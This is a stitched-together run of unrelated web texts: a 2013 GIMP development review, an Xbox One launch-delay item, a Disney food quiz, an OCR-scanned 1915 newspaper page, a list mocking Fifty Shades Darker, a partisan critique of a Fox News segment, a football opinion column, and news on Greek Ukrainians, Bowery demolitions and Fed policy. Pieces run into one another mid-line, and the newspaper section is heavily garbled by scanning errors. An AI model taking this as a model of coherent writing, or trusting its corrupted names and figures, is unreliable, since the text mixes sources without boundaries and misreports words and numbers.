Hi, Before you leave for the festive season, we’d like to share with you what’s been going on with GIMP for the past year. A lot of work has gone into completing the port of GIMP to GEGL, our new hi-end image processing engine. It’s a prerequisite for advanced features such as non-destructive editing, layer filters, advanced CMYK support, and more. Thanks to amazing work by Daniel Sabo and Téo Mazars, our new contributors, we got closer to releasing GIMP 2.10 in terms of porting GIMP plugins to GEGL operations. Please refer to the wiki (http://wiki.gimp.org/index.php/Hacking:Porting_filters_to_GEGL) for an overview of the progress. We also started working towards getting a baseline for Windows and Mac builds. We still need a server running OS X or a VM on such a server to run continuous builds. If this is something you could contribute, please talk to us on either IRC or the gimp-developer@ mailing list. In January/February, Michael Natterer and Michael Henning ported the FITS plug-in to GEGL and added support for more bit depth modes, namely 16 and 32 integers, 32bit floats, and double-precision floats. This makes it possible to study e.g. pictures taken by Chandra X-ray Observatory with full precision. In fact, the request for better FITS support in GIMP came from Joseph DePasquale, a science imager at Smithsonian astrophysical observatory, member of the Chandra team. Joseph maintains a series of FITS processing tutorials (http://chandra.harvard.edu/photo/openFITS/casa.html) involving GIMP and G’MIC. In April, Michael Natterer implemented canvas rotation (https://vimeo.com/64481497) which makes it easier for painters to work on illustrations from different angles. This feature was inspired by a counterpart in the GIMP Painter fork and will be part of GIMP 2.10. In May, Mukund Sivaraman added a basic loader of OpenEXR loader which is another step towards making GIMP a hi-end tool for professionals in the CG industry. A few months later, Mike Henning added a basic loader/saver of WebP images. Also in May, Miroslav Talasek rewrote the foreground selection tool to use new matting operations created by Jan Ruegg. The updated tool makes it easy to e.g. extract hair from background — something that used to be very difficult to do before. At the same time, Michael Natterer merged Seamless Clone and Warp Transform tools into the main development branch of GIMP. Both tools still need a lot of work before that can be an official part of any future release. During the summer several students worked for us within the Google Summer of Code 2013 program: - Carlos Zubieta added an OpenCL version for over a dozen of GEGL operations, so that more processing could be done on a GPU. - Simon Lui ported the PSD plug-in to use GEGL. GIMP is now capable of loading 16bit and 32bit per color channel PSD files, and more PSD-specific features will be easily plugged in once a GIMP counterpart is available (such as layer effects). - Marek Dvorožňák implemented a new N-Point deformation tool that makes it possible to deform objects while preserve shapes consistency. You can watch a video demonstration of the tool on YouTube. - Ajay Ramanathan attempted to merge selection tools into a single tool selection with modes (rectangular, ellipse, single row/column, N-side polygon selection modes). In August, Michael Natterer reduced the save/export friction by adding a simple way to jump from Save to Export dialog when users attempt to save images in JPEG, PNG, etc. The feature is now available in both stable and unstable versions of GIMP. In September, Jehan Pagès, another new active contributor to the project, started working on symmetric painting mode. He still needs funding to complete this as a personal paid project: http://funding.openinitiative.com/funding/1578/. His other contributions this year include configurable tabs position in single-window mode and numerous bugfixes. In October, Hartmut Kuhse and Michael Natterer added a new dialog for displaying Exif, XMP, and IPTC metadata. They also patched GIMP to preserve this kind of metadata while editing existing images in TIFF, JPEG, and PNG file formats. Around the same time Commons Machinery developers contacted us to touch base regarding support for preserving license and authorship metadata in collaborative works of art. Then a few weeks ago they posted a proof-of-concept version of GIMP (http://commonsmachinery.se/2013/12/rdf-metadata-support-in-gimp/) that makes it possible to reuse multiple images from different authors and automatically and properly credit them in a compound work of art. We are looking forward to further collaboration with Commons Machinery. In November, Pat David began updating the tutorials portfolio on the website, adding several new articles for both newbies and experienced users: - http://www.gimp.org/tutorials/GIMP_Quickies/ - http://www.gimp.org/tutorials/Floating_Logo/ - http://www.gimp.org/tutorials/Layer_Masks/ - http://www.gimp.org/tutorials/Luminosity_Masks/ Throughout the year Elle Stone continued improving color management features and added black point compensation choice for color space conversions, as well as half-floating point support. We also thank the GIMP User Manual Team for their work on documenting all the changes in 2.8 and everyone involved with translating the user guide, as well as everyone who found the time and interest in cooking up patches to improve and/or fix GIMP. Last but not least, we want to thank Steve Czajka and all of the GIMP Magazine team for their tireless efforts in promoting GIMP. If you are not familiar with this project, check it out at http://gimpmagazine.org/. We don’t have a schedule for GIMP 2.10 release at this point. The best way to help us getting there is still contributing by porting more plugins to GEGL and making GEGL faster :) Alexandre Prokoudine, on behalf of the GIMP teamNothing will stop me from continuing to use this image.
If you’re a Giant Bomb fan from Belgium, Denmark, Finland, Netherlands, Norway, Russia, Sweden or Switzerland, Xbox One is no longer launching in 2013. Sorry!
Microsoft has narrowed the number of countries Xbox One will launch in come November, and those markets have been pushed into “as soon as possible in 2014.”
“While we wish we could launch Xbox One simultaneously in these markets, there are many factors that determine the timing of specific market launches,” said the company in a blog post today. “This includes work to localize the Xbox One dash, incorporate additional voice and languages, and build partnerships to bring apps and meaningful local content to each country.”
It’d be one thing if retailers hadn’t already started taking pre-order, but that’s not the case. As an apology, Microsoft is offering a free game to consumers who already committed to buying a machine. Details on how the promotion will work won’t be available until closer to launch, though. Free games from a launch lineup!!!!!
Which day Xbox One will launch in November remains a mystery, though Gamescom is soon.How daring have you been while eating at Walt Disney World? Are you the adventurous type who tries everything and anything? Or are you more conservative and stick with what you know and like?
We created this Disney Food Challenge to see where exactly you fall on the Disney World Food Addict Chart. Keep score how many you have tried and at the end you will be graded on how you have done.
Please note while I would love to list every item at Disney World it would be impossible. These are just some of the Signature Items at the Walt Disney World theme park that I think most people are familiar with.
Magic Kingdom
Epcot
Hollywood Studios
Animal Kingdom
Deluxe Resorts
Moderate Resorts
Beignets – Sassagoula Floatworks and Food Factory – Port Orleans French Quarter Fried Chicken – Trails End – Fort Wilderness Campgrounds & Cabins
Value Resorts
Tye Dye Cheesecake – Everything Pop Food Court – Pop Century Resort Steak and egg Breakfast Burger – Landscape of Flavor Food Court – Art of Animation
Downtown Disney
So how did you do? Lets look at the scoring chart below:
1-25 – Disney Noobie: You need to be a bit more adventurous and really branch out at Disney World. Try new things, use those snack credits to their fullest.
26 – 50 – Disney Foodie in Training – Getting better. You probably have kids and are stuck visiting the Buffets every visit. You drool over Disney Food Photos and have a mental checklist of things you want to try.
51 – 75 – Disney Foodie – You have been around the park. You know what you like and try to get out and try new things all the time. You probably blog about Disney or fill your Facebook wall with articles from Chip and Co or Disney Food Blog 🙂
76 – 100 – Disney Food Addict – Someone get this person a Dole Whip cause you have earned it! You are the Elite! People come to you when they have food questions. We need for you to join us on the site and blog about Disney Food for a living!
Let us know how you did in the comment box below!
If you are not a meat eater try the Vegetarian Version here.Newspaper Page Text
Weather
SNOW
Greece and Entente Have Arriv
ed at Satisfactory Agreement
for War.
ALLIES PROMISE
MONETARY REWARD
Turkish Offensive on Gallipoli
Peninsula Broken by British
and French.
London,,Nov. 25.—Cordial relations
between Greece and the Entente pow
ers have been re-established by the
Greek government's assurance that
no attempt will be made to interfere
with the Allies' troops should they
under any condition be forced to
cross the Greek frontier and that, as
heretofore railway and other service
will be accorded them.
Guarantee Is Satisfactory.
That the guaranty is satisfactory
to the Allies is shown by the fact that
grain ships which had been held up
at.Malta, have been allowed to pro
ceed to their destinations. It is Itfr
lieved there would have been a very
serious shortage of bread supply if
their detention had been prolonged.
Promise Monetary Indemnity.
It is understood that the Allies also
have* promised Greece a monetary in
demnity after the war for any damage
which might be done through the oc
cupation of Grecian territory. With
this |uesiion out of the way the Brit
ish public lias centered its interest on
the attitude of Roumunia and the in
tervention of Russia.
Mobilized A Great Army.
It is well established Hint Russia
has completed a groat army near the
Roumanian frontier and dispatches
state thai a large number of heavy
guns have arrived ut Odessa from
Japan for its use. However, the di
rection in which this army will move
will be dictated by.the policy the Rou
manian government'adopts.
Stiii Holding Bridge.
As a result of, the success of the
Aiifitro-Germanf and Bulgarians gain
ing command t/ie Koffovo plateau,
the Sferbian g»Ygripient has moved to
Scutari, while.tne 'argiy. is defending
(CrTntin^dVon Pagp Four)
RES OFFICE
TO Mi A1Y
Governor Black of thV Yukon
Gives Up Lucrative Position
for Rigors of War.
San Francisco, Nov. 25.—Governor
George Black of the Yukon wired his
resignation as governor to Premier
Borden of'Canada, it was learned to
day. He is preparing to accept a com
mission as captain in the expedition
ary force to be sent to France in the
spring. Arrangements were made re
cently for such a course by General
Samuel Hughes, commanding the Can
adian militia. Governor Black, it was
said, would go into the training camp
in Vancouver for three months and
then take command of a company to
be recruited in Yukon and concentrat
ed at Dophin, when the mep will
march over land 480 miles on their
way to Vancouver.
FACTOR FOR GOOD
London, Nov. 25.—"After a year's
work, although we have had police
women serving in the roughest sec
tions of London, we have always
found moral force stronger than phy
sical force," declares Miss Damar
Dawson, head of the women police, in
her first annual report.
"The courts have already recogniz
ed the usefulness of the women police
especially in the work of the child
ren's courts," continues Miss Daw
son, "and women in uniform have
been particularly useful in patrolling
the parks, which in big towns are of
ten danger spots for women and child
ren.
"The policewomen are trained in
signalling, first aid, drilling, and in
the elements of civil and criminal
law."
OFF FOR GERMANY.
Three physicians and six nurses
Failed on the Scandinavian-American
liner Helig Olva today for Copenhag
en on their wav to Germany as repre
sentatives of the German relief com
mittee. They carried supplies for a
hnsDital for 400 beds. The nurses
will have charge of a corps of nurses
to be formed in Germany. The Ger
man relief committee is preparing to
send a third expedition.
THIRTY-FIFTH YEAR, NO. 282 (NEWS OF THE WORLD)
Mexicans
and Troopers
Had Battle
Villistas Tried to Cross Interna
tional Boundary and Attack
.American Soldiers.
Nogales, Ariz., Nov. 25—Fifty-eight
Mexican soldiers, after crossing into
the United States at Harrison's ranch,
east of here, fired on six American
troopers of the 10th cavalry today.
Twenty-five other troopers of the 10th
cavalry who were reserves opened
fire on the Mexicans killing a number,
according to reports, and brought one
wounded prisoner into the camp.
Seeks U, S. Protection.
Caron Randall, acting Villa gover
nor of Sonora, was allowed to cross
the international boundary tonight on
the condition that he was to hold him
self subject to orders of the United
States army (Officers stationed here. It
was noted that Villa commander, Gen
eral Acosta, was contemplating a sim
ilar move.
Exceeded (Authority—Shot.
Vincente Terrazas, a civil officer of
(Continued on Page Eight.)
Is the Plan of Secretary M'Adoo,
in Order to Raise Money for
Preparedness.
RESOURCES OF U.S.
TO PRODUCE REVENUE
individual and Corporation In
comes Will Provide Goodly
Share of Money.
Washington, Nov. 25.—Increases in
internal taxation rather than issuing
bonds to meet the first expense of
the treasury department in a formal
statement issued tonight giving an
estimate of the federal government's
revenue and expenditures up to the
end of the fiscal year beginning next
July.
Need Huge Sum,
Assuming thai congress will con
tinne in effect the present emergency
tax law and custom duty on sugar,
the secretary estimates that $112,806,
.194 in additional revenue will.be need
ed for the expenditures for 1917, in
cluding "$93,800,000 for new measures
for national defense. This amount,"
says the statement, "can easily be
raised by internal taxation without
an appreciable burden upon the
American people.
"The resources and wealth of the
country are so great and are increas
ing so rapidly that the need of the
government for national defense read
ily can be met. Merely as a sugges
tion I would say that consideration
may well be given to the increasing
rates of taxation on individual and
corporation incomes and as reducing
the expenses tinder the present law."
Consideration may well be given to
increasing the rate of taxation of in
dividuals and corporations and a re
duction from $3,000 for single and
$4,000 for married persons to $2,000
and $3,000, respectively. The third
tax could 'begin at $10,000 or $1'5.000,
instead of $20,000 as provided at. pres
ent.
To Tax Autos.
In addition to any increases that
may be made in the corporation am:
individual income taxes, a tax could
(be imposed on such products as gas
oline, crude and fine oils, horse power
of autos and other internal com'tnu
t.ion engines and various articles thai
it is not necessary to mention. These
taxes would be widely diffused anl
scarcely felt.
It is, of course the function of con
gress to determine what revenues
shall be raised, and how, and these
must have been considered, not as a
program, but as suggestions for dis
cussion.
FIH THOUSAND
Nfiw York, iNov. 2r.—(More than
6,000 Thanksgiving Day dinners were
served to ihe inmates of public in
stitutions here today. In addition,
thousands of free dinners were dis
tributed to the poor 'by charitable or
ganizations. Owing to the belief that
there is less distress among the poor
this year than for several years, some
of the large charitable organizations
discontinued their custom of giving
large dinners.
Ten thousand pounds of turkey was
required to provide "thanksgiving Day
dinners for the sailor* or Tie First
Division of the Atlantic fleet on board
ten battleships in the Hudson river.
ptenwrck
BATTLES ARE
Cornell Claims the Championship
After Defeating Pennsylvania
in Great Struggle.
MINNESOTA LOST
TO ALL STARS
Montana Holds Syracuse Team to
a Tie Score in Sn*w
Storm,
East and west, qorth and south, yes
terday closed the annual battle for
football supremacy and many sur
prises were encountered when the
scores of the various games were re
ported. Minnesota, which had divid
ed honors with Illinois in the western
conference, went down to a defeat
before the All-Stars.
Thanksgiving Football Results.
Cornell, 24 Pennsylvania, 9.
Brown, 39 Carlisle, 3.
S. Dakota, 0 Creighton, 0.
Syracuse, ti Univ. Montana, (!.
St. Louis, 0 Georgetown, 19.
Western Reserve, 26 Chase, 20.
Kansas, 8 Missouri, 6.
Miami, 24. Cincinnati, 12.
Pittsburgh, 20 Penn State, 0.
Notre Dame, 36 Texas, 7.
Colorado, 3 Colo. School of Mines ft.
Colorado Aggies, 34 Denver, 3.
Akransa, 4." Okla. School of Mines,
0.
Washington & Lee, 4S North'Caro
lina Aggies, 13.
Washington, 4G Colorado, 0.
DePnul, 13 Keewatin, 7.
.Vfarrtuet, 0 St. Thomas, 0.
Drake,.14 Ames, 28 |
.
As our inner goddesses hotly anticipate the Fifty Shades Freedmovie in February, here are the best/worst lines from the novel Darker.
1. "Desire pools dark and deadly in my groin."
Ana should probably get her doctor to look at that.
2. "His mouth – oh, his mouth is distracting, and unbidden."
We're not sure 'unbidden' means what you think it does, EL.
3. "Her eyes are brown, like bourbon, but flat."
Don't you just hate it when your bourbon goes flat?
4. "Desire explodes like the Fourth of July throughout my body."
Loud, flaming and frightening to pets.
5. "I have become my own island state. A ravaged, war-torn land where nothing grows and the horizons are bleak."
U OK, hun?
6. "... It's there in the air between us, that electricity. It's palpable. I can almost taste it, pulsing between us, drawing us together."
Palpable, magnetic electricity that you can taste. What does it taste like?
Related: 23 funniest quotes from EL James's Fifty Shades of Grey
Universal
7. "'You. Are. Mine,' he snarls, emphasising each word."
Thanks for explaining that basic punctuation.
8. "'You said you loved me,' he whispers. 'Is that now in the past tense?'"
Spoken like a true robot.
9. "We don't have long, Anastasia, and the way I'm feeling right this moment, we won't need long."
How romantic.
10. "Sometimes you're so closed off... like an island state."
Enough with the island states, already.
11. "A small moan escapes my mouth as my insides melt and unfurl."
An unmistakable symptom of Legionnaires' disease.
12. "I have a Christian Grey mix tape in the guise of a high-end iPad."
A low-end iPad, if it existed, would probably have been sufficient for a playlist.
13. "I gasp, and his mouth swoops down."
Like a hungry eagle?
14. "What a time to have a brain-to-mouth filter malfunction."
Beep beep.
15. "I could watch you sleep forever, Ana."
Spoken like a true murderer.
Related: 32 creepy Grey extracts that prove Christian Grey is the worst
16. "... My heart swells with a nervous, heady elation."
And a hearty joy in her head, presumably.
17. "... Like the sorcerer's apprentice I am, I let go, and we find our release together."
As we recall, the sorcerer's apprentice was a cartoon mouse who magicked up a bunch of unruly mops to get out of doing his chores.
18. "I flush, and the undesirable thought that Leila could probably keep up slithers invidious and unwelcome into my mind."
'Likely to provoke jealousy'? Maybe you meant 'insidious'.
19. "That is not the reaction I expected. I was anticipating full-scale Armageddon."
At what point did you first suspect your boyfriend was a controlling drama queen?
20. "And I feel it – the electricity between us – tangible, drawing us together."
The palpable, magnetic electricity strikes again.
Universal
21. "Franco is small, dark, and gay. I love him. 'Such beautiful hair!' he gushes with an outrageous, probably fake Italian accent."
Curse those gays and their fake accents.
22. "I wonder if it's still lust at first sight for them."
That's a basic misunderstanding of the concept of 'first sight'.
23. "Isn't that a symptom of schizophrenia? I must Google that."
"Dear Google, does my boyfriend have schizophrenia?"
24. "Seeing Christian undone is enough to seal my fate, and I come audibly, exhaustingly, spinning down and around, collapsing on top of him."
"Undone"? "Fate"? "Spinning down"? There is a lot to unpack here, and, frankly, we don't have the patience.
25. "How do they know it's him? His trademark unruly copper hair, no doubt."
Ana lives in a world where a small party mask is enough to completely conceal someone's identity. Thank God for trademark hair.
26. "My anxiety level has shot up several magnitudes on the Richter scale."
You measure your anxiety in terms of earthquakes?
27. "...On his own in Paris, the Arc de Triomphe serving as a giveaway to his location."
Sacre bleu.
28. "I don't know what the social conventions are for meeting known molesters of children."
She should probably Google that.
29. "He won't tell you because he probably doesn't realise it himself, notwithstanding what I've said to him, but that's Christian."
Heretofore realised by himself, they that very moment thereupon discussed it.
30. "I bury my hands in his hair, holding him to my mouth, consuming him, my tongue as avaricious as his."
Um, 'avaricious' means acquisitive or materialistic, not greedy.
31. "You're going to unman me, Ana."
That sounds worryingly permanent.
32. "He is an exceptional lover, I'm sure – though, of course, I have no comparison."
High praise indeed.
33. "'I do hope you're not overly fond of these panties.' He tears through them with his adept fingers, and they disintegrate in his hands."
We do hope she wasn't overly fond of those cheap disintegrating panties.
34. "Pulling my head back, he kisses me, his tongue urgent, relentless, needy."
Like a pneumatic drill with attachment issues.
35. "He laughs and then is distracted by his BlackBerry, which must be on vibrate because it doesn't ring."
Thanks for the detail. It adds so much to the narrative.
36. "He has a hotline to my groin."
...and it's been ringing off the hook all day long.
37. "It feels like an eon has passed while I process all this, though in reality it is only a split second."
We know the feeling.
38. "What's eating him? Oh, myself probably..."
"Myself"? Someone's been watching too much Apprentice.
Universal
39. "She's like a fallen ethereal wraith."
Sure she is.
40. "I was serious about marrying you. We can get to know each other then."
Sounds like a mature and sensible way to go about things.
41."I choose a song haphazardly and press'repeat' so it will play over and over again."
Shout out for all those readers who don't know what'repeat' means.
42. "I don't think my heart could stand the strain of another e-mail like that, or my pants for that matter."
So you're saying your heart couldn't stand either the strain of the email or your pants?
43. "They dance and weave bright blazing orange with tips of cobalt blue in the fireplace in Christian's apartment."
Christian is so rich that he can afford flames whose colours are the wrong way round.
44. "All my worst fears packaged neatly into one sentence now exorcised."
Wait, what's been exorcised here?
Universal
45. "Christian insisted on drying my hair – he's quite skilled at it."
Is there NOTHING that man can't do?
46. "... Desire and anticipation spawning in my belly."
"Spawning"?
47. "He places the tie around my neck, and slowly but dexterously ties it in what I assume is a fine Windsor knot."
Guess again, Ana. It's a noose.
Universal
48. "Can one lust after one's husband like this? I don't remember reading about that anywhere."
Lust is fine until the bitterness and regret set in.
49. "In her pale pink, frothy baby-doll dress and killer heels, she towers over me like a Christmas tree fairy."
A fairy in killer heels.
50. "How long will this hideous overwhelming feeling last?"
533 pages exactly.
Fifty Shades Darker stars Dakota Johnson, Jamie Dornan, Kim Basinger and Rita Ora, and is directed by James Foley.
Want up-to-the-minute entertainment and tech news? Just hit 'Like' on our Digital Spy Facebook page and 'Follow' on our @digitalspy Twitter account and you're all set.Megyn Kelly got together with her favorite homophobe, Tony Perkins, and the two discussed just how much damage Obama is doing to Christians and Christianity around the world.
The pretext for this session of hate – in the name of Christ – was Obama’s comments today at an Easter Prayer Breakfast. There, he said, “On Easter, I do reflect on the fact that, as a Christian, I am supposed to love. And I have to say that, sometimes when I listen to other less-than-loving expressions by Christians, I get concerned.”
Kelly twisted that into a suggestion that Obama had attacked Christians in general. “President Obama takes another shot at the Christian faithful,” she sniped.
Then, she baselessly linked Obama's comment to attacks on Christians abroad.
KELLY: His remarks come as Christians are increasingly being targeted by terrorists worldwide. Remember, it was just last week that more than 140 people died at the hands of Islamic terrorists at a university in Kenya. Witnesses say the killers specifically singled out Christians for execution. In February, the world was horrified as 21 Egyptian Christians were marched to their deaths in Libya, forced to kneel down before they had their throats slit. Yet the White House chose to identify these victims at the time as ‘Egyptian citizens.’ All this comes as the Pope becomes increasingly vocal about the plight of Christians being targeted for their faith, repeatedly warning the world this Easter weekend not to turn a blind eye to the atrocities being committed.
Kelly contended that Obama’s comment referred to Indiana’s so-called religious freedom law. So she turned to her extremist, homophobic, Indiana-defending pal, Tony Perkins, and said that Obama “seems to be passing a rather harsh judgment on it.”
Not surprisingly, Perkins picked up the cues.
PERKINS: I think there’s a reason the president doesn’t want to talk about this persecution of Christians – because in part his policies are responsible. The growing hostility toward Christianity here at home is fostering an environment where tyrants and terrorists feel free to kill people, to kill Christians because of their faith.
↓ Story continues below ↓
Kelly didn't want to go quite that far. She said Obama’s “not exactly out there defending the Christians in Indiana and elsewhere …but to say that his policies are leading to the murders of Christians…” She didn’t finish the sentence.
Perkins doubled down:
PERKINS: I am saying that his policies are fostering an environment in which tyrants and terrorists feel that America no longer places a high priority on religious freedom and the protection of the oppressed. And in that shadow that he has cast with these policies, we see more and more Christians being persecuted, their lives taken from them in far away places. You cannot escape the fact that what America does has consequences elsewhere.
But Kelly and Perkins were not really so far apart. Kelly noted that Obama “went in” when the Yazidi Christians were under attack by ISIS, saying, “So the president has not sat by idly in all instances.”
But then she validated all but the death-causing accusation of Perkins’ attack.
KELLY: This is not the first time. So this is the Easter Prayer Breakfast, OK? Like the holiest holiday in Christianity, Easter. So this is an Easter Prayer breakfast at which he...goes off script to criticize Christians and then this happened not long ago at the National Prayer Breakfast where he decided there to lecture Christians about not being on their high horse when it comes to judging radical Islamic terrorists. …I mean the question is whether those, those comments do real damage not just to morale among Christians, about what their own president thinks of them but, but to the enemy! Not paving the way for an argument that he’s causing deaths but that they feel he won’t stand up for Christians who are under threat.
So, apparently, the question is not whether Obama’s policies caused the deaths of Christians abroad but just whether he sent an anti-Christian signal to our enemies.
Watch it above from Tuesday’s The Kelly File.
Crossposted at News Hounds.
We watch Fox so you don't have to!So it’s come to this. Australia is leading the way into the future of football after the A-League agreed to bring forward its rollout of video technology to rule on contentious decisions in four areas: goals; red cards; penalties; and mistaken identity.
Last week Fifa announced “extraordinary progress” had been made in the technology that would make the introduction of video assistant referees practical (VARs – get used to the terminology). Its team, led by the former Premier League referee David Elleray, works on the principle of “minimum interference for maximum benefit”.
The goal of the trials that will take place in various leagues around the world, Elleray says, is “to keep the flow and emotions of the game, while correcting clear errors in match-changing incidents”.
The A-League’s sense of urgency was prompted by David Carney’s apparent handball in the lead-up to Sydney FC’s equaliser against Melbourne Victory on Saturday night.
The new head of the A-League, Greg O’Rourke, said: “If the video assistant referee is to focus on red cards, penalties and goals, then Saturday night would have been picked up on review. The interesting thing for me being at the game was that not one person in real time saw that handball.
“Not the opposition, not the commentators, none of the fans. It was only on replays that it became obvious. That’s where the VAR will come into itself.”
What possible objections could there be to that clear error being corrected?
Video replays to be introduced in A-League matches before finals Read more
Let me suggest a few. In fact, let me suggest this is a truly terrible idea that will solve nothing, damage some of the game’s best characteristics and create new grounds for self-righteous whining about perceived injustice.
Judging the right incidents
The history of video technology as a means to make refereeing or umpiring calls in all sports shows that decisions can be divided into two categories. First, simple line v ball judgments, such as run-outs in cricket, line calls in tennis and incidents in football where it is unclear in real time whether a ball has crossed the goalline, typically after bouncing down off the crossbar. In all these cases, barring some technological hiccups, the use of video has become generally accepted and uncontroversial.
Much less easy to judge are more complex events that involve a greater number of moving parts, contact between players and/or the ball, and interpretations of the laws. Cricket in particular has gone through years of controversy over the fair application of the decision review system for lbw decisions and contentious catches.
If video evidence is to be used in football to rule on penalties and red cards, it is obvious that fouls and handballs will come into consideration. Anyone who has watched post-match analysis of controversial incidents cannothelp but notice that any given group of expert commentators often disagrees vehemently on such matters, even after viewing endless replays from all conceivable angles.
Elleray’s team has defined a “clear error” – meaning one that may be adjudicated using VARs – as one where “almost everyone who is neutral agrees the decision is incorrect”. But that just moves potential controversy from the substance of the incident to debate about how “clear” or otherwise the error may have been. Take this decision from Elleray’s own career (at 3m 33s). A more clear error in a match-changing incident you could not wish to see, some might argue. But can we get agreement from “almost everyone” – a definition that hardly seems likely to put controversy to bed – on that?
Going upstairs – we may be some time
Again, football seems determined to ignore the clues offered by other sports. Video adjudication works best when it can be slotted into natural breaks in play. Cricket and tennis have one after every ball or point, so waiting for the outcome does not interrupt the game unnaturally (give or take the interminable procedure while the technicians “just rock and roll that for me one more time” on DRS reviews).
The same is true for football only when a goal is scored or, arguably, when the ball is out of play.
O’Rourke is confident the A-League can “operationalise” the system effectively “to pick reviews around what we saw with Carney’s goal”.
It sounds borderline plausible in Saturday’s case that a VAR would have picked up Carney’s alleged handball and alerted the on-field referee before play restarted. But what if the opposite situation had occurred and Carney had been incorrectly penalised for a handball and the goal ruled out? Any system would have only seconds to respond before play restarted with a free-kick. Would play be brought back once it had restarted? What if a goal had been scored at the other end in the interim? Regardless of the justice or otherwise of the original decision, it is easy to imagine that rectifying it would simply fuel further controversy.
The best innovations among recent changes to football’s laws and practices have helped speed the game up and eliminate unnecessary delays (example: the multi-ball system). The worst have slowed it down (example: stopping the game for every minor injury). This one is a honking great invitation to slow it down with constant interruptions.
Get over your grievances
There are numerous other objections to the video proposal. As O’Rourke admits, “not everybody has agreed on how this will be communicated to fans and with broadcasters”. It should surprise no one if the TV companies and administrators see this move as an opportunity to introduce an extra element of “entertainment” to the experience of watching football, not to mention an extra sponsorship avenue.
But perhaps the strongest argument against the insidious march of video technology is that it strengthens the convictions of fans, players and commentators alike that a pure form of justice in sport is both achievable and desirable. It is not.
Coaches may protest that their livelihoods are put at risk by poor decisions (they rarely acknowledge undeserved financial reward when one goes in their favour). But however high the stakes may seem to them and others, football is still played, watched and refereed by humans. And ultimately anything that happens on the football field is not like a real miscarriage of justice.
Mistakes are made, people feel aggrieved, debate rages – the game goes on. It’s not the end of the world. Just live with it.Greece has said it would give special treatment to Greek-origin Ukrainians on the front line who want to resettle in the EU.
Its foreign ministry told EUobserver on Tuesday (25 August) the 90,000 or so Greek-origin people who live in the Mariupol region in Ukraine would be treated as “returnees”, not as ordinary refugees or asylum seekers.
Student, retired or simply can't afford full price? No worries.
“Greek Ukranians (not possessing Greek citizenship) who would choose to resettle to Greece would get a special status - as was the case with people of Greek origin emigrating to Greece after the split-up of the former Soviet Union”, Anastasia Christofilopoulou, a Greek spokeswoman, said.
“At that time, there were special provisions facilitating citizenship-acquisition and granting of professional/social rights. In a similar case, similar measures would probably apply”.
Targeted village
Sartana, a majority-Greek village near Mariupol, was, on 16 August, shelled by pro-Russia forces for 25 minutes, killing three people and damaging 170 homes.
It’s the fifth time it’s been targeted.
A Russian Grad rocket attack in October killed seven people. A Grad attack on the city of Mariupol, where most diaspora Greeks live, in January, killed 30 people.
Christofilopoulou said even if violence escalates, the “scenario of the whole community resettling in Greece is highly improbable”.
But if there is a large exodus, it would put further strain on a country already struggling with a financial crisis and with mass-scale migration from the Middle East.
Christofilopoulou said the official number of Greek-origin people in Mariupol is 91,000, but the Federation of Greek Communities of Mariupol, an NGO, estimates the real number is “much higher”.
Meanwhile, Greece, on Monday, began flying 191 Greek-origin children and elderly people from Kiev to Rhodes, a Greek island.
They first drove 780km from Mariupol to Kiev because the conflict has closed Mariupol’s airport.
They're to stay in Rhodes until 12 September to get “relief from the war”, the foreign ministry said, and to learn about Greek culture.
Nerves
But in a sign of nerves, some Ukraine-watchers claimed on social media Greece had begun a full-scale evacuation.
The Minsk ceasefire accord, signed by Russia, Ukraine, France, and Germany in February, hasn't stopped fighting.
“If we get just 20 or 30 minutes of shelling a day, that’s considered a normal day”, Mustafa Nayyem, a Ukrainian MP, told EUobserver at Globsec, a security seminar in Slovakia in June.
The Sartana shelling prompted snap meetings of EU and Ukraine leaders to stop escalation.
But international monitors, the OSCE, in a report on Tuesday, said “ceasefire violations were recorded in numerous locations”.
They recorded 32 explosions and small-arms fire in the Donetsk city area and 41 explosions north-east of Donetsk.
A senior EU diplomat told this website there’s no sign pro-Russia forces are planning to take Mariupol.
But the city is at a strategic point, which separates Russia-occupied east Ukraine from Russia-annexed Crimea, with the diplomat adding that Moscow "is keeping all options on the table”.
Some Greek communities in Ukraine date to Byzantine times. But the majority settled in the 18th century.
Christofilopoulou noted they can’t vote in Greece. But she said they have some special rights, for instance, on access to Greek universities.It’s official: a trio of old buildings on the Bowery, one of them dating back to 1799, are slated for demolition according to permits filed with the Department of Buildings. There had been speculation that 140 and 142 Bowery would be torn down ever since they went on the market last year. Now it looks like 138 Bowery will be joining them, as permits for its demolition were filed the same day under the same LLC.
The buildings are within the Little Italy Historical District, which means any new structures are prohibited from exceeding a height of 85 foot or eight stories unless authorized by the City Planning Commission. Neil Wexler of Wexler Associates, the structural engineering firm responsible for several new Brooklyn residential buildings, including the high-end, 400,000 square foot NOVO-Park Slope and Williamsburg’s more modest Essex Berry, is named as applicant of record on the project.
Mayur Gawhane, who is listed as managing agent, declined to comment, but his phone number and address match that of Emmut Properties. The company name on the permits is RevX-660, LLC., which can be traced back to Reverse Exchange Services, Inc., a company specializing in “deal-specific solutions for tax-deferred reverse exchanges.”
“By using RES, the exchanger has the assurance that the replacement property may ultimately be acquired by the exchanger even though the exchanger is having a difficult time selling the relinquished property,” according to RES’s website.
Though there’s still a “For Sale” sign on 142, and this listing says the pair are up for sale for $22 million. But Matthew Hars of Manhattan-Spaces said 140 and 142 are not currently on the market. According to NYC Finance Department records, they were purchased just last November from Grand Bowery Bright LLC for $21 million. 134, 136 and 138 Bowery were purchased by RevX-660 from 134-8 Bowery Realty Corporation for an even $24 million the same day.
The dormers were removed from squat little 140 Bowery, the oldest of the three buildings, in 2011, leaving in their place a couple of sad black patches. Records show that from 1799 to 1802 a butcher occupied this address, which retains original features “such as its steeply pitched roof, and, if one looks closely, paneled stone lintels on the second story,” according to the Historic Districts council. Up until recently it was considered one of twelve Federal period buildings that, due to minimal alterations, still clearly represent the era.Some wonder why we have been so convinced that no matter what happens, that the Fed will have no choice but to continue pushing the monetary easing pedal to the metal. It is actually no secret: we explained the logic for the first time back in March of this year with "Here Is Why The Fed Will Have To Do At Least Another $3.6 Trillion In Quantitative Easing." The logic, in a nutshell, is simple: everyone who looks at modern monetary practice (as opposed to theory) through the prism of a 1980s textbook is woefully unprepared for the modern capital markets reality for one simple reason: shadow banking; and when accounting for the ongoing melt of shadow banking credit intermediates, which continues to accelerate, the Fed has a Herculean task ahead of it in restoring consolidated credit growth.
